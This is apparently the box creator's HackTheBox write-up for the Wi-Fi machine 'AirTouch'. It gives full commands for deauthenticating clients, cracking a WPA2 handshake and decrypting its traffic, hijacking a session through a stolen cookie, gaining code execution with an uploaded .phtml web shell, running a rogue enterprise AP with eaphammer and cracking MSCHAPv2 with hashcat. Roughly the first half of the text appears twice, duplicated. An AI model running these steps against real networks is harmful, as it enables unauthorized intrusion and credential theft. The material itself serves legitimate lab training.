Introduction

AirTouch is a HackTheBox machine rated Medium, released on January 17, 2026. What makes this box different is that it is not a normal "scan a webserver and exploit it" path. The whole chain is built around Wi-Fi operations: capturing WPA2-PSK handshakes, decrypting traffic, abusing a weak internal web application, recovering enterprise certificates, and finally attacking a secure WPA2-Enterprise network.

Since I created this machine, this writeup also works as a small behind-the-scenes walkthrough of the intended path. The fun part is that the enterprise network looks like the obvious target first, but the box is built so that you have to earn that attack by solving the PSK side first.

The main techniques covered here are:

  • Capturing and cracking a WPA2-PSK handshake
  • Decrypting Wi-Fi traffic to recover web session data
  • Turning an upload feature into RCE
  • Recovering and importing trusted certificates for a Rogue AP
  • Capturing and cracking MSCHAPv2
  • Pivoting between APs to reach the final host

Already solved the box? There is a little something waiting for you at the end of this writeup.

Enumeration

Initial Enumeration (Consultant)

A standard TCP scan mostly reveals SSH on port 22.

sudo nmap -oA 10.129.31.113 10.129.31.113
None

The useful lead comes from UDP. Scanning the top 100 UDP ports reveals SNMP data that directly leaks credentials for the SSH service.

sudo nmap 10.129.31.113 -sU -sC --top-ports=100

Note: This can take a couple of minutes.

None

The interesting part is:

snmp-sysdescr: "The default consultant password is: RxBlZhLmOkacNWScmZ6D (change it after use it)"

So we now have the consultant username and its password: RxBlZhLmOkacNWScmZ6D.

You can also pull the same information more directly with snmpwalk:

snmpwalk -v1 -c public 10.129.31.113
None

Note: I needed a way to obtain credentials for SSH access to a host with the Wi-Fi networks without it being too complicated or unrealistic. And everyone forgets to check UDP.

Wi-Fi Enumeration

With SSH access, we can log into the consultant workstation.

ssh consultant@10.129.31.113 -p 22
None

Inside the consultant home directory there are two PNG diagrams.

None

They can be downloaded with scp:

scp consultant@10.129.31.113:'~/*.png' .

The first one is hand-drawn and the second one is cleaner and more formal.

photo_2023-03-01_22-04-52.png:

None

diagram-net.png:

None

Note: I kept the original hand-drawn diagram because I think it's funny and it gives the box a more personal touch.

From these diagrams we can already infer the main structure of the lab. We are sitting on the consultant laptop, and there are two Wi-Fi networks in play:

  • AirTouch-Internet, which uses WPA2-PSK
  • AirTouch-Office, which uses WPA2-Enterprise / MGT

That is enough to start checking wireless interfaces and scanning for nearby APs. Using airmon-ng as root is a small trick I use often just to get a clean list of wireless interfaces, then iwlist gives a quick ESSID-only view.

airmon-ng
ip link set wlan1 up
iwlist wlan1 scan | grep "ESSID"
None

The scan shows one AirTouch-Internet AP and two AirTouch-Office APs.

Note: This scan is usually worth doing because it is fast and checks all supported bands.

From here I switch to aircrack-ng tooling for a proper scan. Setting the interface to monitor mode and scanning all bands gives much better detail. The --band bag option tells airodump-ng to scan 2.4GHz and 5GHz; by default it only scans 2.4GHz.

sudo su
airmon-ng start wlan1
airodump-ng wlan1mon --band bag -w scan
None

To identify clients more clearly, I prefer to scan the relevant channels individually. Channel 6 gives us the PSK side:

airodump-ng wlan1mon -c6 -w scanc6
None

Note: The client can take a few seconds to appear.

And channel 44 gives us the MGT side:

airodump-ng wlan1mon -c44 -w scanc44
None

Note: The key here is to understand the diagram, how the network is organized, and where we are at that moment.

User

At this stage we have two possible lines of attack: the WPA2-PSK network and the WPA2-Enterprise network. The enterprise side looks more attractive at first, but this is one of those cases where the obvious route is not the one that works immediately.

Capturing the Handshake

To break into the PSK network, capture a handshake and then decrypt traffic from the same session. I monitor the channel and deauthenticate the client to force a reconnect.

airodump-ng wlan1mon -c6 -w scanc6
aireplay-ng -0 5 wlan1mon -a F0:9F:C2:A3:F1:A7 -c 28:6C:07:FE:A3:22
None
None

Once the handshake is captured, keep airodump-ng running for a bit longer so there is enough post-handshake traffic to decrypt later. Waiting around a minute is usually enough.

None

Note: In this kind of scenario I usually go after the most active client first instead of waiting. It tends to give the handshake faster and, more importantly, it usually leaves me with more traffic to decrypt afterwards. Use q twice to exit.

Then copy the capture back:

scp consultant@10.129.31.113:~/scanc6-02.cap .

To crack the PSK, grab a wordlist. Here I just use rockyou.txt.

wget https://gitlab.com/kalilinux/packages/wordlists/-/raw/kali/master/rockyou.txt.gz?ref_type=heads -O rockyou.txt.gz
gzip -d rockyou.txt.gz
None
aircrack-ng scanc6-02.cap -w rockyou.txt
None
None

With the PSK recovered, decrypt the capture:

airdecap-ng -e AirTouch-Internet -p challenge scanc6-02.cap
None

In this capture we end up decrypting 48 packets.

Note: A lot of people stop after the handshake, but here I wanted the traffic analysis to matter too. If you only capture the handshake you can crack the PSK, but you miss the interesting part.

Open the decrypted traffic in Wireshark and look for HTTP traffic to the router at 192.168.3.1.

wireshark scanc6-02-dec.cap
None

If you follow the HTTP stream you can see both the request and the response.

None

We still do not have a password, but we do recover something just as useful for the next step: the manager session cookies, including PHPSESSID and UserRole.

Note: This cookie expires, so if you try to reuse an old capture it may just fail and make the whole approach look wrong when the real problem is just stale session data.

You can extract the same cookies with tshark if you want a quicker text-only pass:

tshark -Y "http.cookie" -T fields -e http.cookie -r scanc6-02-dec.cap
None

Web Exploitation

Now that we know the PSK, we can connect to the AirTouch-Internet network directly. I use wpa_supplicant with a minimal config.

network={
    ssid="AirTouch-Internet"
    psk="challenge"
    scan_ssid=1
    key_mgmt=WPA-PSK
    proto=WPA2
}
wpa_supplicant -Dnl80211 -iwlan3 -c psk.conf

After that, request an IP address:

dhclient -v wlan3
None

A quick scan of the router/AP shows HTTP and SSH services.

nmap 192.168.3.1
None

To browse the internal web application comfortably, create an SSH SOCKS tunnel through the consultant box:

ssh -D 8081 consultant@10.129.31.113

Then configure that proxy in the browser or in Burp.

None

Open the login page and replace the cookies with the ones recovered from the decrypted capture:

http://192.168.3.1/login.php

None

After setting the cookies, refresh or browse to index.php.

None

We land inside the application, but only as user. There is also an empty rectangle at the bottom of the page, which immediately looks suspicious.

Checking the cookies again shows why: there is a UserRole cookie with the value user. Changing it to admin and refreshing the page is enough to unlock the upload area.

None

AirTouch HTB Writeup

Introduction

AirTouch is a HackTheBox machine rated Medium, released on January 17, 2026. What makes this box different is that it is not a normal "scan a webserver and exploit it" path. The whole chain is built around Wi-Fi operations: capturing WPA2-PSK handshakes, decrypting traffic, abusing a weak internal web application, recovering enterprise certificates, and finally attacking a secure WPA2-Enterprise network.

None

Since I created this machine, this writeup also works as a small behind-the-scenes walkthrough of the intended path. The fun part is that the enterprise network looks like the obvious target first, but the box is built so that you have to earn that attack by solving the PSK side first.

The main techniques covered here are:

  • Capturing and cracking a WPA2-PSK handshake
  • Decrypting Wi-Fi traffic to recover web session data
  • Turning an upload feature into RCE
  • Recovering and importing trusted certificates for a Rogue AP
  • Capturing and cracking MSCHAPv2
  • Pivoting between APs to reach the final host

Already solved the box? There is a little something waiting for you at the end of this writeup.

Enumeration

Initial Enumeration (Consultant)

A standard TCP scan mostly reveals SSH on port 22.

sudo nmap -oA 10.129.31.113 10.129.31.113
None

The useful lead comes from UDP. Scanning the top 100 UDP ports reveals SNMP data that directly leaks credentials for the SSH service.

sudo nmap 10.129.31.113 -sU -sC --top-ports=100

Note: This can take a couple of minutes.

None

The interesting part is:

snmp-sysdescr: "The default consultant password is: RxBlZhLmOkacNWScmZ6D (change it after use it)"

So we now have the consultant username and its password: RxBlZhLmOkacNWScmZ6D.

You can also pull the same information more directly with snmpwalk:

snmpwalk -v1 -c public 10.129.31.113
None

Note: I needed a way to obtain credentials for SSH access to a host with the Wi-Fi networks without it being too complicated or unrealistic. And everyone forgets to check UDP.

Wi-Fi Enumeration

With SSH access, we can log into the consultant workstation.

ssh consultant@10.129.31.113 -p 22
None

Inside the consultant home directory there are two PNG diagrams.

None

They can be downloaded with scp:

scp consultant@10.129.31.113:'~/*.png' .

The first one is hand-drawn and the second one is cleaner and more formal.

photo_2023-03-01_22-04-52.png:

None

diagram-net.png:

None

Note: I kept the original hand-drawn diagram because I think it's funny and it gives the box a more personal touch.

From these diagrams we can already infer the main structure of the lab. We are sitting on the consultant laptop, and there are two Wi-Fi networks in play:

  • AirTouch-Internet, which uses WPA2-PSK
  • AirTouch-Office, which uses WPA2-Enterprise / MGT

That is enough to start checking wireless interfaces and scanning for nearby APs. Using airmon-ng as root is a small trick I use often just to get a clean list of wireless interfaces, then iwlist gives a quick ESSID-only view.

airmon-ng
ip link set wlan1 up
iwlist wlan1 scan | grep "ESSID"
None

The scan shows one AirTouch-Internet AP and two AirTouch-Office APs.

Note: This scan is usually worth doing because it is fast and checks all supported bands.

From here I switch to aircrack-ng tooling for a proper scan. Setting the interface to monitor mode and scanning all bands gives much better detail. The --band bag option tells airodump-ng to scan 2.4GHz and 5GHz; by default it only scans 2.4GHz.

sudo su
airmon-ng start wlan1
airodump-ng wlan1mon --band bag -w scan
None

To identify clients more clearly, I prefer to scan the relevant channels individually. Channel 6 gives us the PSK side:

airodump-ng wlan1mon -c6 -w scanc6
None

Note: The client can take a few seconds to appear.

And channel 44 gives us the MGT side:

airodump-ng wlan1mon -c44 -w scanc44
None

Note: The key here is to understand the diagram, how the network is organized, and where we are at that moment.

User

At this stage we have two possible lines of attack: the WPA2-PSK network and the WPA2-Enterprise network. The enterprise side looks more attractive at first, but this is one of those cases where the obvious route is not the one that works immediately.

Capturing the Handshake

To break into the PSK network, capture a handshake and then decrypt traffic from the same session. I monitor the channel and deauthenticate the client to force a reconnect.

airodump-ng wlan1mon -c6 -w scanc6
aireplay-ng -0 5 wlan1mon -a F0:9F:C2:A3:F1:A7 -c 28:6C:07:FE:A3:22
None
None

Once the handshake is captured, keep airodump-ng running for a bit longer so there is enough post-handshake traffic to decrypt later. Waiting around a minute is usually enough.

None

Note: In this kind of scenario I usually go after the most active client first instead of waiting. It tends to give the handshake faster and, more importantly, it usually leaves me with more traffic to decrypt afterwards. Use q twice to exit.

Then copy the capture back:

scp consultant@10.129.31.113:~/scanc6-02.cap .

To crack the PSK, grab a wordlist. Here I just use rockyou.txt.

wget https://gitlab.com/kalilinux/packages/wordlists/-/raw/kali/master/rockyou.txt.gz?ref_type=heads -O rockyou.txt.gz
gzip -d rockyou.txt.gz
None
aircrack-ng scanc6-02.cap -w rockyou.txt
None
None

With the PSK recovered, decrypt the capture:

airdecap-ng -e AirTouch-Internet -p challenge scanc6-02.cap
None

In this capture we end up decrypting 48 packets.

Note: A lot of people stop after the handshake, but here I wanted the traffic analysis to matter too. If you only capture the handshake you can crack the PSK, but you miss the interesting part.

Open the decrypted traffic in Wireshark and look for HTTP traffic to the router at 192.168.3.1.

wireshark scanc6-02-dec.cap
None

If you follow the HTTP stream you can see both the request and the response.

None

We still do not have a password, but we do recover something just as useful for the next step: the manager session cookies, including PHPSESSID and UserRole.

Note: This cookie expires, so if you try to reuse an old capture it may just fail and make the whole approach look wrong when the real problem is just stale session data.

You can extract the same cookies with tshark if you want a quicker text-only pass:

tshark -Y "http.cookie" -T fields -e http.cookie -r scanc6-02-dec.cap
None

Web Exploitation

Now that we know the PSK, we can connect to the AirTouch-Internet network directly. I use wpa_supplicant with a minimal config.

network={
    ssid="AirTouch-Internet"
    psk="challenge"
    scan_ssid=1
    key_mgmt=WPA-PSK
    proto=WPA2
}
wpa_supplicant -Dnl80211 -iwlan3 -c psk.conf

After that, request an IP address:

dhclient -v wlan3
None

A quick scan of the router/AP shows HTTP and SSH services.

nmap 192.168.3.1
None

To browse the internal web application comfortably, create an SSH SOCKS tunnel through the consultant box:

ssh -D 8081 consultant@10.129.31.113

Then configure that proxy in the browser or in Burp.

None

Open the login page and replace the cookies with the ones recovered from the decrypted capture:

http://192.168.3.1/login.php

None

After setting the cookies, refresh or browse to index.php.

None

We land inside the application, but only as user. There is also an empty rectangle at the bottom of the page, which immediately looks suspicious.

Checking the cookies again shows why: there is a UserRole cookie with the value user. Changing it to admin and refreshing the page is enough to unlock the upload area.

None

Now the page renders as admin and the previously empty space turns into a file upload feature.

None

As a side note, the role value is reflected almost blindly. You can set basically anything there and the page will display it.

None

The next step is turning that upload into code execution. A plain .php payload is rejected:

None
None
None

After checking all options, the working payload is rce.phtml:

None
None

Calling the uploaded file gives command execution:

http://192.168.3.1/uploads/rce.phtml?cmd=whoami;pwd
None

From there, read the application source and recover hardcoded credentials from login.php.

http://127.0.0.1:8080/uploads/rce.phtml?cmd=cat%20../login.php
None
'user' => array('password' => 'JunDRDZKHDnpkpDDvay', 'role' => 'admin'),*/
'manager' => array('password' => '2wLFYNh4TSTgA5sNgT4', 'role' => 'user')

The interesting credential is:

user:JunDRDZKHDnpkpDDvay

User Shell (user.txt)

That credential also works over SSH, which gives us the user shell on the PSK AP and the user.txt flag.

ssh user@192.168.3.1
None

Note: My idea was for the box to be primarily Wi-Fi-based, so I wanted to keep the web interface as simple as possible while still keeping it realistic.

Root

PSK AP Root and Certificate Recovery

The user account has passwordless sudo, so getting root on this AP is immediate. That also gives access to the files we need for the second half of the box.

None

In the root directory there is a script called send_certs.sh that contains SSH credentials for the other AP.

None
REMOTE_USER="remote"
REMOTE_PASSWORD="xGgWEwqUpfoOVsLeROeG"
LOCAL_FOLDER="/root/certs-backup/"

Note: In the original design, these credentials were not hardcoded here, and the Wi-Fi network username was used instead to access the final SSH. However, this was modified for the shared-machine design to prevent a student from using another student's certificate and credentials to obtain the root flag without having the user flag first

After getting root, the interesting directory is /root/certs-backup/. It contains the server certificate material used by the enterprise network.

None

Because the files live under /root, the easiest option is to copy them to a world-readable location and pull them from there.

cp -r /root/certs-backup/ /tmp

Then download them from the consultant box:

scp -r user@192.168.3.1:/tmp/certs-backup/ .
None

At this point we have exactly what the first MGT attack was missing: the trusted certificate chain and private key. Import them into eaphammer:

cd /root/eaphammer
python3 ./eaphammer --cert-wizard import --server-cert /home/consultant/certs-backup/server.crt --ca-cert /home/consultant/certs-backup/ca.crt --private-key /home/consultant/certs-backup/server.key --private-key-passwd whatever
None

Now the enterprise attack becomes viable.

Before moving on, stop wpa_supplicant to disconnect from the PSK network.

Note: This is the point where the enterprise attack becomes real. Once we import the genuine certs, we are no longer trying to bypass trust; we are fitting into the trust model the client already expects.

MGT Attack

With the trusted cert imported, create the Rogue AP again:

python3 ./eaphammer -i wlan3 --auth wpa-eap --essid AirTouch-Office
None

As before, there are two legitimate APs on channel 44, so deauthenticate both of them:

airmon-ng start wlan1
iwconfig wlan1mon channel 44
aireplay-ng wlan1mon -0 0 -a AC:8B:A9:F3:A1:13 -c C8:8A:9A:6F:F9:D2
airmon-ng start wlan2
iwconfig wlan2mon channel 44
aireplay-ng wlan2mon -0 0 -a AC:8B:A9:AA:3F:D2 -c C8:8A:9A:6F:F9:D2
None

A few seconds later we capture the MSCHAPv2 challenge/response.

None

Stop the attack and crack the hash with hashcat. Save the prepared line into a local hashcat.5500 file first.

hashcat -a 0 -m 5500 hashcat.5500 ./rockyou.txt
None

With the recovered credentials, build a wpa_supplicant config for AirTouch-Office:

network={
    ssid="AirTouch-Office"
    scan_ssid=1
    key_mgmt=WPA-EAP
    eap=PEAP
    identity="AirTouch\r4ulcl"
    password="laboratory"
    phase1="peapver=1"
    phase2="auth=MSCHAPV2"
}

Note: We usually have to use the username including the domain

Then connect and request an address:

wpa_supplicant -Dnl80211 -iwlan3 -c client.conf
dhclient -v wlan3
None
None

Final Host

From there, scan the internal host as usual:

sudo nmap 10.10.10.1
None

And SSH in using the credentials recovered earlier from the root script:

ssh remote@10.10.10.1
None

At this point we have a shell on the MGT side and need the last privilege escalation.

None

Root Shell (root.txt)

The most useful lead comes from the running processes.

None

The process list points toward hostapd, so that is the first place worth checking.

ls /etc/hostapd/
None

Reading hostapd_wpe.eap_user reveals another credential tied to the MGT Wi-Fi setup:

cat /etc/hostapd/hostapd_wpe.eap_user
None

The relevant line is:

"admin" MSCHAPV2 "xMJpzXt4D9ouMuL3JJsMriF7KZozm7" [2]

So now we can switch to admin:

su admin
None

The admin user is in sudoers, so from here the rest is immediate:

sudo -s

That gives root on the final host and completes the box with the root.txt flag.

None

Extra Notes

  • I designed this machine to be hard, especially if you have some basic knowledge of Wi-Fi hacking, but when the HTB team reviewed it, they labeled it as medium.
  • I intentionally made the first AirTouch-Office attack fail in an informative way if you attack it first. I wanted that moment to tell you "the certificate matters" instead of just blocking you for no reason.
  • For me, the PSK side was never meant to be only a warm-up. It is the bridge into the whole enterprise part: session theft, internal web access, and finally certificate recovery.
  • I left two APs on the enterprise side on purpose because Wi-Fi environments are usually messier than the clean one-AP labs we often build for demos.
  • I also wanted the web bug chain to feel progressive: first steal the session, then notice the weak role handling, and finally realize the upload can be turned into execution.

I liked the structure of this machine because it forces the Wi-Fi pieces to build on each other instead of feeling like isolated tricks. The PSK side is not just a warm-up: it is what unlocks the certificates, and the certificates are what make the enterprise attack actually believable. That dependency is the whole point of the box.

Learn More (and a Little Gift)

If you want to master everything explained here and a lot more attacks, paths and misconfigurations, the Certified WiFiChallenge Professional (CWP) course is the next step. It goes beyond this box: OPN, WEP, WPA2-PSK, WPA3, OWE, Enterprise attacks, Rogue APs with trusted certs, MSCHAPv2, phishing, captive portal evasion, client-side attacks, and the pivots most people never practice, all in a hands-on lab.

None

As a thank you to everyone who has solved AirTouch, we are offering a 15% discount on the CWP course. Just send proof of completion (HTB profile or root.txt) and we will get the discount code to you.

References

External references: